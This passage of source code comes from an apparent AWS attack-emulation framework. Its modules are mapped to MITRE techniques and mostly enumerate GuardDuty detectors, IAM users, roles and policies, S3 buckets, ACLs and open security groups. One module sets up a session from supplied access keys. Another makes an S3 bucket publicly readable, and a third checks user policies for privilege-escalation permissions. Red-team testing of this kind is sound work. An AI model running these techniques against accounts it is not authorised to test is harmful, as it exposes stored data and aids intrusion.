| ) 16 | ] 17 | super().__init__("Enumerate GuardDuty Detectors", "Enumerates all GuardDuty detectors in the AWS account. The technique first retrieves list of all regions in the account and then enumerates through regions to get all GuardDuty detector IDs", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | try: 22 | # Initialize boto3 client 23 | my_ec2_client = boto3.client('ec2') 24 | 25 | # Get all regions 26 | response = my_ec2_client.describe_regions() 27 | 28 | # Extract all region names 29 | all_regions = [region['RegionName'] for region in response['Regions']] 30 | 31 | all_detector_ids = {} 32 | for region in all_regions: 33 | try: 34 | # Initialize boto3 client 35 | my_client = boto3.client('guardduty', region_name=region) 36 | 37 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/guardduty/client/list_detectors.html 38 | # List all guardduty detectors 39 | raw_response = my_client.list_detectors() 40 | # Extract detector IDs from response 41 | all_detector_ids[region] = raw_response['DetectorIds'] 42 | # all_detector_ids += raw_response['DetectorIds'] 43 | except: 44 | pass 45 | 46 | # counter for all detector IDs 47 | did_count = 0 48 | for value in all_detector_ids.values(): 49 | if isinstance(value, list): 50 | did_count += len(value) 51 | else: 52 | did_count += 1 53 | return ExecutionStatus.SUCCESS, { 54 | "message": f"Successfully enumerated {did_count} GuardDuty detectors" if did_count > 0 else "No GuardDuty detectors found", 55 | "value": all_detector_ids 56 | } 57 | 58 | except Exception as e: 59 | return ExecutionStatus.FAILURE, { 60 | "error": str(e), 61 | "message": "Failed to enumerate GuardDuty detectors" 62 | } 63 | 64 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 65 | return {} -------------------------------------------------------------------------------- /attack_techniques/aws/aws_enumerate_iam_policies.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | from botocore.exceptions import ClientError 6 | 7 | @TechniqueRegistry.register 8 | class AWSEnumerateIAMPolicies(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1087.004", 13 | technique_name="Account Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name="Cloud Account" 16 | ) 17 | ] 18 | super().__init__("Enumerate IAM Policies", "Enumerates all IAM policies. Optionally, supply scope & path prefix to enumerate specific policies", mitre_techniques) 19 | 20 | 21 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 22 | self.validate_parameters(kwargs) 23 | try: 24 | scope:str = kwargs.get("scope", None) 25 | path_prefix:str = kwargs.get("path_prefix", None) 26 | 27 | if scope not in [None, "", 'All', 'AWS', 'Local']: 28 | return ExecutionStatus.FAILURE, { 29 | "error": {"Error" : "Invalid Technique Input : Scope"}, 30 | "message": {"Error" : "Invalid Technique Input : Scope"} 31 | } 32 | 33 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/iam/client/list_policies.html 34 | 35 | # Initialize boto3 client 36 | my_client = boto3.client("iam") 37 | 38 | if path_prefix in [None, ""]: 39 | if scope in [None, ""]: 40 | # list policies in aws account 41 | raw_response = my_client.list_policies() 42 | else: 43 | # list policies in aws account with specified scope 44 | raw_response = my_client.list_policies( 45 | Scope = scope 46 | ) 47 | else: 48 | if scope in [None, ""]: 49 | # list policies in aws account with specified path prefix 50 | raw_response = my_client.list_policies( 51 | PathPrefix = path_prefix 52 | ) 53 | else: 54 | # list policies in aws account with specified path prefix & scope 55 | raw_response = my_client.list_policies( 56 | PathPrefix = path_prefix, 57 | Scope = scope 58 | ) 59 | 60 | # Create output 61 | policies = [policy['PolicyName'] for policy in raw_response['Policies']] 62 | 63 | if 200 <= raw_response['ResponseMetadata']['HTTPStatusCode'] <300: 64 | return ExecutionStatus.SUCCESS, { 65 | "message": f"Successfully enumerated {len(policies)} users" if policies else "No users found", 66 | "value": policies 67 | } 68 | 69 | return ExecutionStatus.FAILURE, { 70 | "error": raw_response.get('ResponseMetadata'), 71 | "message": "Failed to enumerate IAM policies" 72 | } 73 | 74 | except ClientError as e: 75 | return ExecutionStatus.FAILURE, { 76 | "error": str(e), 77 | "message": "Failed to enumerate IAM policies" 78 | } 79 | except Exception as e: 80 | return ExecutionStatus.FAILURE, { 81 | "error": str(e), 82 | "message": "Failed to enumerate IAM policies" 83 | } 84 | 85 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 86 | return { 87 | "scope": {"type": "str", "required": False, "default": None, "name": "Scope ['All', 'AWS', 'Local']", "input_field_type" : "text"}, 88 | "path_prefix": {"type": "str", "required": False, "default": None, "name": "Role Path Prefix", "input_field_type" : "text"} 89 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_enumerate_iam_roles.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | from botocore.exceptions import ClientError 6 | 7 | @TechniqueRegistry.register 8 | class AWSEnumerateIAMRoles(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1069.003", 13 | technique_name="Permission Groups Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name="Cloud Groups" 16 | ) 17 | ] 18 | super().__init__("Enumerate IAM Roles", "Enumerates all IAM roles. Optionally, supply path prefix to enumerate specific roles", mitre_techniques) 19 | 20 | 21 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 22 | self.validate_parameters(kwargs) 23 | try: 24 | path_prefix:str = kwargs.get("path_prefix", None) 25 | 26 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/iam/client/list_roles.html 27 | 28 | # Initialize boto3 client 29 | my_client = boto3.client("iam") 30 | 31 | if path_prefix in [None,""]: 32 | # list all iam roles 33 | raw_response = my_client.list_roles() 34 | else: 35 | # list roles with supplied path prefix 36 | raw_response = my_client.list_roles(PathPrefix=path_prefix) 37 | 38 | if 200 <= raw_response['ResponseMetadata']['HTTPStatusCode'] <300: 39 | # Create output 40 | roles = [role['RoleName'] for role in raw_response['Roles']] 41 | 42 | return ExecutionStatus.SUCCESS, { 43 | "message": f"Successfully enumerated {len(roles)} roles" if roles else "No roles found", 44 | "value": roles 45 | } 46 | 47 | return ExecutionStatus.FAILURE, { 48 | "error": raw_response.get('ResponseMetadata', 'N/A'), 49 | "message": "Failed to enumerate roles" 50 | } 51 | 52 | except ClientError as e: 53 | return ExecutionStatus.FAILURE, { 54 | "error": str(e), 55 | "message": "Failed to enumerate roles" 56 | } 57 | except Exception as e: 58 | return ExecutionStatus.FAILURE, { 59 | "error": str(e), 60 | "message": "Failed to enumerate roles" 61 | } 62 | 63 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 64 | return { 65 | "path_prefix": {"type": "str", "required": False, "default": None, "name": "Role Path Prefix", "input_field_type" : "text"} 66 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_enumerate_iam_users.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | from botocore.exceptions import ClientError 6 | 7 | @TechniqueRegistry.register 8 | class AWSEnumerateIAMUsers(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1087.004", 13 | technique_name="Account Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name="Cloud Account" 16 | ) 17 | ] 18 | super().__init__("Enumerate IAM Users", "Enumerates all IAM users. Optionally, supply path prefix to enumerate specific users", mitre_techniques) 19 | 20 | 21 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 22 | self.validate_parameters(kwargs) 23 | try: 24 | path_prefix: str = kwargs.get("path_prefix", None) 25 | 26 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/iam/client/list_users.html 27 | 28 | # Initialize boto3 client 29 | my_client = boto3.client("iam") 30 | 31 | if path_prefix in [None,""]: 32 | # list all iam roles 33 | raw_response = my_client.list_users() 34 | else: 35 | # list roles with supplied path prefix 36 | raw_response = my_client.list_users(PathPrefix=path_prefix) 37 | 38 | if 200 <= raw_response['ResponseMetadata']['HTTPStatusCode'] <300: 39 | # Create output 40 | users = [user['UserName'] for user in raw_response['Users']] 41 | 42 | return ExecutionStatus.SUCCESS, { 43 | "message": f"Successfully enumerated {len(users)} users" if users else "No users found", 44 | "value": users 45 | } 46 | 47 | return ExecutionStatus.FAILURE, { 48 | "error": raw_response.get('ResponseMetadata', 'N/A'), 49 | "message": "Failed to enumerate IAM users" 50 | } 51 | 52 | except ClientError as e: 53 | return ExecutionStatus.FAILURE, { 54 | "error": str(e), 55 | "message": "Failed to enumerate IAM users" 56 | } 57 | except Exception as e: 58 | return ExecutionStatus.FAILURE, { 59 | "error": str(e), 60 | "message": "Failed to enumerate IAM users" 61 | } 62 | 63 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 64 | return { 65 | "path_prefix": {"type": "str", "required": False, "default": None, "name": "Role Path Prefix", "input_field_type" : "text"} 66 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_enumerate_s3_bucket_objects.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | from botocore.exceptions import ClientError 6 | 7 | @TechniqueRegistry.register 8 | class AWSEnumerateS3BucketObjects(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1619", 13 | technique_name="Cloud Storage Object Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Enumerate S3 Bucket Objects", "Enumerates S3 buckets in the target AWS account", mitre_techniques) 19 | 20 | 21 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 22 | self.validate_parameters(kwargs) 23 | try: 24 | bucket_name: str = kwargs.get("bucket_name", None) 25 | 26 | if bucket_name in [None, ""]: 27 | return ExecutionStatus.FAILURE, { 28 | "error": {"Error" : "Invalid Technique Input"}, 29 | "message": {"Error" : "Invalid Technique Input"} 30 | } 31 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/s3/client/list_objects_v2.html 32 | 33 | # Initialize boto3 client 34 | my_client = boto3.client("s3") 35 | 36 | # Enumerate S3 buckets 37 | raw_response = my_client.list_objects_v2(Bucket=bucket_name) 38 | 39 | if 200 <= raw_response['ResponseMetadata']['HTTPStatusCode'] <300: 40 | # Create output 41 | objects = [bucket['Key'] for bucket in raw_response['Contents']] 42 | 43 | 44 | if objects: 45 | return ExecutionStatus.SUCCESS, { 46 | "message": f"Successfully enumerated {len(objects)} S3 bucket objects" if objects else "No S3 bucket objects found", 47 | "value": objects 48 | } 49 | 50 | return ExecutionStatus.FAILURE, { 51 | "error": raw_response.get('ResponseMetadata','N/A'), 52 | "message": "Failed to enumerate S3 bucket objects" 53 | } 54 | except Exception as e: 55 | return ExecutionStatus.FAILURE, { 56 | "error": str(e), 57 | "message": "Failed to enumerate S3 bucket objects" 58 | } 59 | 60 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 61 | return { 62 | "bucket_name": {"type": "str", "required": True, "default": None, "name": "S3 Bucket Name", "input_field_type" : "text"} 63 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_enumerate_s3_buckets.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | from botocore.exceptions import ClientError 6 | 7 | @TechniqueRegistry.register 8 | class AWSEnumerateS3Buckets(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1619", 13 | technique_name="Cloud Storage Object Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Enumerate S3 Buckets", "Enumerates S3 buckets in the target AWS account", mitre_techniques) 19 | 20 | 21 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 22 | self.validate_parameters(kwargs) 23 | try: 24 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/s3/client/list_buckets.html 25 | 26 | # Initialize boto3 client 27 | my_client = boto3.client("s3") 28 | 29 | # Enumerate S3 buckets 30 | raw_response = my_client.list_buckets() 31 | 32 | if 200 <= raw_response['ResponseMetadata']['HTTPStatusCode'] <300: 33 | # Create output 34 | buckets = [bucket['Name'] for bucket in raw_response['Buckets']] 35 | 36 | if buckets: 37 | return ExecutionStatus.SUCCESS, { 38 | "message": f"Successfully enumerated {len(buckets)} S3 buckets" if buckets else "No S3 buckets found", 39 | "value": buckets 40 | } 41 | 42 | return ExecutionStatus.FAILURE, { 43 | "error": raw_response.get('ResponseMetadata', 'N/A'), 44 | "message": "Failed to enumerate S3 buckets" 45 | } 46 | except ClientError as e: 47 | return ExecutionStatus.FAILURE, { 48 | "error": str(e), 49 | "message": "Failed to enumerate S3 buckets" 50 | } 51 | except Exception as e: 52 | return ExecutionStatus.FAILURE, { 53 | "error": str(e), 54 | "message": "Failed to enumerate IAM users" 55 | } 56 | 57 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 58 | return {} -------------------------------------------------------------------------------- /attack_techniques/aws/aws_establish_access.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.aws.aws_session_manager import SessionManager 5 | from botocore.exceptions import ClientError 6 | 7 | @TechniqueRegistry.register 8 | class AWSEstablishAccess(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1078.004", 13 | technique_name="Valid Accounts", 14 | tactics=["Defense Evasion", "Persistence", "Privilege Escalation", "Initial Access"], 15 | sub_technique_name="Cloud Accounts" 16 | ) 17 | ] 18 | super().__init__("Establish Access", "Creates new AWS session", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | try: 23 | session_name: str = kwargs.get("session_name", None) 24 | access_key: str = kwargs.get("access_key", None) 25 | secret: str = kwargs.get("secret", None) 26 | aws_region: str = kwargs.get("aws_region", None) 27 | session_token: str = kwargs.get("session_token", None) 28 | set_as_active_session: bool = kwargs.get("set_as_active_session", False) 29 | 30 | if session_name in [None, ""] or access_key in [None, ""] or secret in [None, ""]: 31 | return ExecutionStatus.FAILURE, { 32 | "error": {"Error" : "Invalid Technique Input"}, 33 | "message": {"Error" : "Invalid Technique Input"} 34 | } 35 | 36 | if aws_region in [None, ""]: 37 | aws_region = "us-east-1" 38 | 39 | manager = SessionManager() 40 | if session_token: 41 | new_session = manager.create_session(session_name=session_name, aws_access_key_id=access_key, aws_secret_access_key=secret, region_name = aws_region, aws_session_token = session_token) 42 | else: 43 | new_session = manager.create_session(session_name=session_name, aws_access_key_id=access_key, aws_secret_access_key=secret, region_name = aws_region) 44 | 45 | my_session = manager.get_session(new_session["name"]) 46 | sts = my_session.client('sts') 47 | caller_info = sts.get_caller_identity() 48 | 49 | caller_info_output = { 50 | 'user_id' : caller_info.get('UserId', 'N/A'), 51 | 'account' : caller_info.get('Account', 'N/A'), 52 | 'arn' : caller_info.get('Arn', 'N/A'), 53 | 'active_session': False 54 | } 55 | 56 | if set_as_active_session: 57 | # Set new session as default active session to use 58 | manager.set_active_session(new_session["name"]) 59 | caller_info_output['active_session'] = True 60 | 61 | return ExecutionStatus.SUCCESS, { 62 | "message": f"Successfully established access to AWS", 63 | "value": caller_info_output 64 | } 65 | 66 | except ClientError as e: 67 | return ExecutionStatus.FAILURE, { 68 | "error": str(e), 69 | "message": "Failed to establish access to AWS" 70 | } 71 | except Exception as e: 72 | return ExecutionStatus.FAILURE, { 73 | "error": str(e), 74 | "message": "Failed to establish access to AWS" 75 | } 76 | 77 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 78 | return { 79 | "session_name": {"type": "str", "required": True, "default": None, "name": "New Session Name", "input_field_type" : "text"}, 80 | "access_key": {"type": "str", "required": True, "default": None, "name": "Access Key", "input_field_type" : "text"}, 81 | "secret": {"type": "str", "required": True, "default": None, "name": "Key Secret", "input_field_type" : "password"}, 82 | "aws_region": {"type": "str", "required": False, "default": "us-east-1", "name": "AWS Region", "input_field_type" : "text"}, 83 | "session_token": {"type": "str", "required": False, "default": None, "name": "Session Token", "input_field_type" : "text"}, 84 | "set_as_active_session": {"type": "bool", "required": False, "default": False, "name": "Set As Active Session?", "input_field_type" : "bool"} 85 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_expose_s3_bucket_public.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | import json 6 | 7 | @TechniqueRegistry.register 8 | class AWSExposeS3BucketPublic(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1567", 13 | technique_name="Exfiltration Over Web Service", 14 | tactics=["Exfiltration"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Expose S3 Bucket Public", "This module attempts to enable public read access to the bucket by creating a bucket policy and applying it to the target bucket.", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | 23 | try: 24 | bucket_name:str = kwargs.get("bucket_name", None) 25 | 26 | # Input validation 27 | if bucket_name in [None, ""]: 28 | return ExecutionStatus.FAILURE, { 29 | "error": "Invalid Technique Input", 30 | "message": {"input_required":"Target Bucket Name"} 31 | } 32 | 33 | # Initialize boto3 client 34 | my_client = boto3.client('s3') 35 | 36 | # Bucket policy config to allow public read access 37 | bucket_policy = { 38 | "Version": "2012-10-17", 39 | "Statement": [ 40 | { 41 | "Sid": "HalberdS3PublicReadObject", 42 | "Effect": "Allow", 43 | "Principal": "*", 44 | "Action": "s3:GetObject", 45 | "Resource": f"arn:aws:s3:::{bucket_name}/*" 46 | } 47 | ] 48 | } 49 | 50 | # Convert policy to JSON 51 | policy_string = json.dumps(bucket_policy) 52 | 53 | # Set new bucket policy 54 | raw_response = my_client.put_bucket_policy(Bucket=bucket_name, Policy=policy_string) 55 | print(raw_response) 56 | 57 | return ExecutionStatus.SUCCESS, { 58 | "message": f"Successfully exposed S3 bucket {bucket_name} public", 59 | "value": { 60 | "bucket_name" : bucket_name, 61 | "public_access": "enabled" 62 | } 63 | } 64 | 65 | except Exception as e: 66 | return ExecutionStatus.FAILURE, { 67 | "error": str(e), 68 | "message": "Failed to expose S3 bucket to public" 69 | } 70 | 71 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 72 | return { 73 | "bucket_name": {"type": "str", "required": True, "default": None, "name": "Target Bucket Name", "input_field_type" : "text"}, 74 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_get_bucket_acl.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | from botocore.exceptions import ClientError 6 | 7 | @TechniqueRegistry.register 8 | class AWSGetS3BucketACL(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1619", 13 | technique_name="Cloud Storage Object Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Get S3 Bucket ACL", "Gets S3 bucket ACL information", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | try: 23 | bucket_name: str = kwargs.get("bucket_name", None) 24 | 25 | if bucket_name in [None, ""]: 26 | return ExecutionStatus.FAILURE, { 27 | "error": {"Error" : "Invalid Technique Input"}, 28 | "message": {"Error" : "Invalid Technique Input"} 29 | } 30 | 31 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/s3/client/get_bucket_acl.html 32 | 33 | # Initialize boto3 client 34 | my_client = boto3.client("s3") 35 | 36 | # Enumerate S3 buckets 37 | raw_response = my_client.get_bucket_acl(Bucket=bucket_name) 38 | 39 | if 200 <= raw_response['ResponseMetadata']['HTTPStatusCode'] <300: 40 | # Create output 41 | acl_info = { 42 | 'owner': raw_response.get('Owner', 'N/A').get('DisplayName','N/a'), 43 | 'owner_id' : raw_response.get('Owner', 'N/A').get('ID','N/a'), 44 | 'grants' : raw_response.get('Grants', 'N/A') 45 | } 46 | return ExecutionStatus.SUCCESS, { 47 | "message": f"Successfully colected S3 bucket ACL information", 48 | "value": acl_info 49 | } 50 | 51 | return ExecutionStatus.FAILURE, { 52 | "error": raw_response.get('ResponseMetadata','N/A'), 53 | "message": "ailed to collect S3 bucket ACL information" 54 | } 55 | except ClientError as e: 56 | return ExecutionStatus.FAILURE, { 57 | "error": str(e), 58 | "message": "Failed to collect S3 bucket ACL information" 59 | } 60 | 61 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 62 | return { 63 | "bucket_name": {"type": "str", "required": True, "default": None, "name": "S3 Bucket Name", "input_field_type" : "text"} 64 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_recon_ec2_over_permissive_sg.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | 6 | @TechniqueRegistry.register 7 | class AWSReconEC2OverPermissiveSG(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1046", 12 | technique_name="Network Service Discovery", 13 | tactics=["Discovery"], 14 | sub_technique_name=None 15 | ) 16 | ] 17 | super().__init__("Recon EC2 Over Permissive Security Groups", "This module identifies overly permissive security group rules in an AWS environment. Its possible to exploit overly permissive security group rules to gain unauthorized access to EC2 instances or other AWS resources. This module analyzes security group rules to identify potentially risky configurations.", mitre_techniques) 18 | 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | 23 | def is_rule_permissive(rule): 24 | if 'IpRanges' in rule: 25 | for ip_range in rule['IpRanges']: 26 | if ip_range['CidrIp'] == '0.0.0.0/0': 27 | return True 28 | 29 | if 'Ipv6Ranges' in rule: 30 | for ip_range in rule['Ipv6Ranges']: 31 | if ip_range['CidrIpv6'] == '::/0': 32 | return True 33 | return False 34 | 35 | try: 36 | # Initialize boto3 client 37 | my_client = boto3.client('ec2') 38 | 39 | # Get all security groups 40 | security_groups = my_client.describe_security_groups()['SecurityGroups'] 41 | 42 | permissive_rule = [] 43 | 44 | for sg in security_groups: 45 | sg_id = sg['GroupId'] 46 | sg_name = sg['GroupName'] 47 | 48 | # Check inbound rules 49 | for rule in sg['IpPermissions']: 50 | if is_rule_permissive(rule): 51 | permissive_rule.append({ 52 | "security_group" : sg_name, 53 | "sg_id" : sg_id, 54 | "protocol" : rule.get('IpProtocol', 'All'), 55 | "from_port" : rule.get('FromPort', 'All'), 56 | "to_port" : rule.get('ToPort', 'All'), 57 | "direction" : "inbound", 58 | "message" : "Overly permissive inbound rule found in Security Group" 59 | }) 60 | 61 | # Check outbound rules 62 | for rule in sg['IpPermissionsEgress']: 63 | if is_rule_permissive(rule): 64 | permissive_rule.append({ 65 | "security_group" : sg_name, 66 | "sg_id" : sg_id, 67 | "protocol" : rule.get('IpProtocol', 'All'), 68 | "from_port" : rule.get('FromPort', 'All'), 69 | "to_port" : rule.get('ToPort', 'All'), 70 | "direction" : "outbound", 71 | "message" : "Overly permissive outbound rule found in Security Group" 72 | }) 73 | 74 | return ExecutionStatus.SUCCESS, { 75 | "message": f"Successfully reconned {len(permissive_rule)} overly permissive ec2 security groups" if permissive_rule else "No overly permissive ec2 security groups found", 76 | "value": permissive_rule 77 | } 78 | 79 | except Exception as e: 80 | return ExecutionStatus.FAILURE, { 81 | "error": str(e), 82 | "message": "Failed to recon ec2 security groups" 83 | } 84 | 85 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 86 | return {} -------------------------------------------------------------------------------- /attack_techniques/aws/aws_recon_iam_user_info.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | from botocore.exceptions import ClientError 6 | 7 | @TechniqueRegistry.register 8 | class AWSReconIAMUserInfo(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1087.004", 13 | technique_name="Account Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name="Cloud Account" 16 | ) 17 | ] 18 | super().__init__("Recon IAM User Info", "Retrieves information about a user in AWS", mitre_techniques) 19 | 20 | 21 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 22 | self.validate_parameters(kwargs) 23 | try: 24 | username: str = kwargs.get("username", None) 25 | 26 | if username in [None, ""]: 27 | return ExecutionStatus.FAILURE, { 28 | "error": {"Error" : "Invalid Technique Input"}, 29 | "message": {"Error" : "Invalid Technique Input"} 30 | } 31 | 32 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/iam/client/get_user.html 33 | 34 | # Initialize boto3 client 35 | my_client = boto3.client("iam") 36 | 37 | raw_response = my_client.get_user(UserName=username) 38 | 39 | if 200 <= raw_response['ResponseMetadata']['HTTPStatusCode'] <300: 40 | return ExecutionStatus.SUCCESS, { 41 | "message": f"Successfully collected user information", 42 | "value": { 43 | 'username': raw_response.get('User', 'N/A').get('UserName','N/a'), 44 | 'user_id' : raw_response.get('User', 'N/A').get('UserId','N/A'), 45 | 'arn' : raw_response.get('User', 'N/A').get('Arn','N/A'), 46 | 'create_date' : raw_response.get('User', 'N/A').get('CreateDate','N/A'), 47 | 'password_last_used' : raw_response.get('User', 'N/A').get('PasswordLastUsed','N/A'), 48 | 'permissions_boundary' : raw_response.get('User', 'N/A').get('PermissionsBoundary','N/A'), 49 | 'tags' : raw_response.get('User', 'N/A').get('Tags','N/A') 50 | } 51 | } 52 | 53 | return ExecutionStatus.FAILURE, { 54 | "error": raw_response.get('error').get('message', 'N/A'), 55 | "message": "Failed to recon IAM user info" 56 | } 57 | except ClientError as e: 58 | return ExecutionStatus.FAILURE, { 59 | "error": str(e), 60 | "message": "Failed to recon IAM user info" 61 | } 62 | except Exception as e: 63 | return ExecutionStatus.FAILURE, { 64 | "error": str(e), 65 | "message": "Failed to recon IAM user info" 66 | } 67 | 68 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 69 | return { 70 | "username": {"type": "str", "required": True, "default": None, "name": "Target Username", "input_field_type" : "text"} 71 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_recon_risky_iam_policy_users.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | import json 6 | 7 | @TechniqueRegistry.register 8 | class AWSReconRiskyIAMPolicyUsers(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1069", 13 | technique_name="Permission Groups Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Recon Risky IAM Policy User", "This module checks for potential IAM privilege escalation paths in an AWS environment. Its possible to gain higher privileges by exploiting misconfigurations or overly permissive IAM policies. This technique analyzes users IAM policies to identify risky permissions that could lead to privilege escalation.", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | 23 | def has_risky_permissions(policy_document): 24 | """Checks if a IAM policy has risky permissions""" 25 | risky_actions = [ 26 | "iam:AttachRolePolicy", 27 | "iam:CreatePolicyVersion", 28 | "iam:SetDefaultPolicyVersion", 29 | "iam:PassRole", 30 | "lambda:CreateFunction", 31 | "lambda:InvokeFunction" 32 | ] 33 | 34 | for statement in policy_document['Statement']: 35 | if statement['Effect'] == 'Allow': 36 | actions = statement.get('Action', []) 37 | if isinstance(actions, str): 38 | actions = [actions] 39 | 40 | for action in actions: 41 | if action in risky_actions or action == '*': 42 | return True 43 | return False 44 | 45 | try: 46 | # Initialize boto3 client 47 | my_client = boto3.client("iam") 48 | 49 | # Get all IAM users 50 | users = my_client.list_users()['Users'] 51 | 52 | result = [] 53 | for user in users: 54 | username = user['UserName'] 55 | # Get list of policnames for user 56 | user_policies = my_client.list_user_policies(UserName=username)['PolicyNames'] 57 | 58 | for policy_name in user_policies: 59 | # Get policy details 60 | policy = my_client.get_user_policy(UserName=username, PolicyName=policy_name) 61 | 62 | # Check for risky permissions in policy 63 | if has_risky_permissions(policy['PolicyDocument']): 64 | result.append({ 65 | "username": username, 66 | "policy_name" : policy_name, 67 | 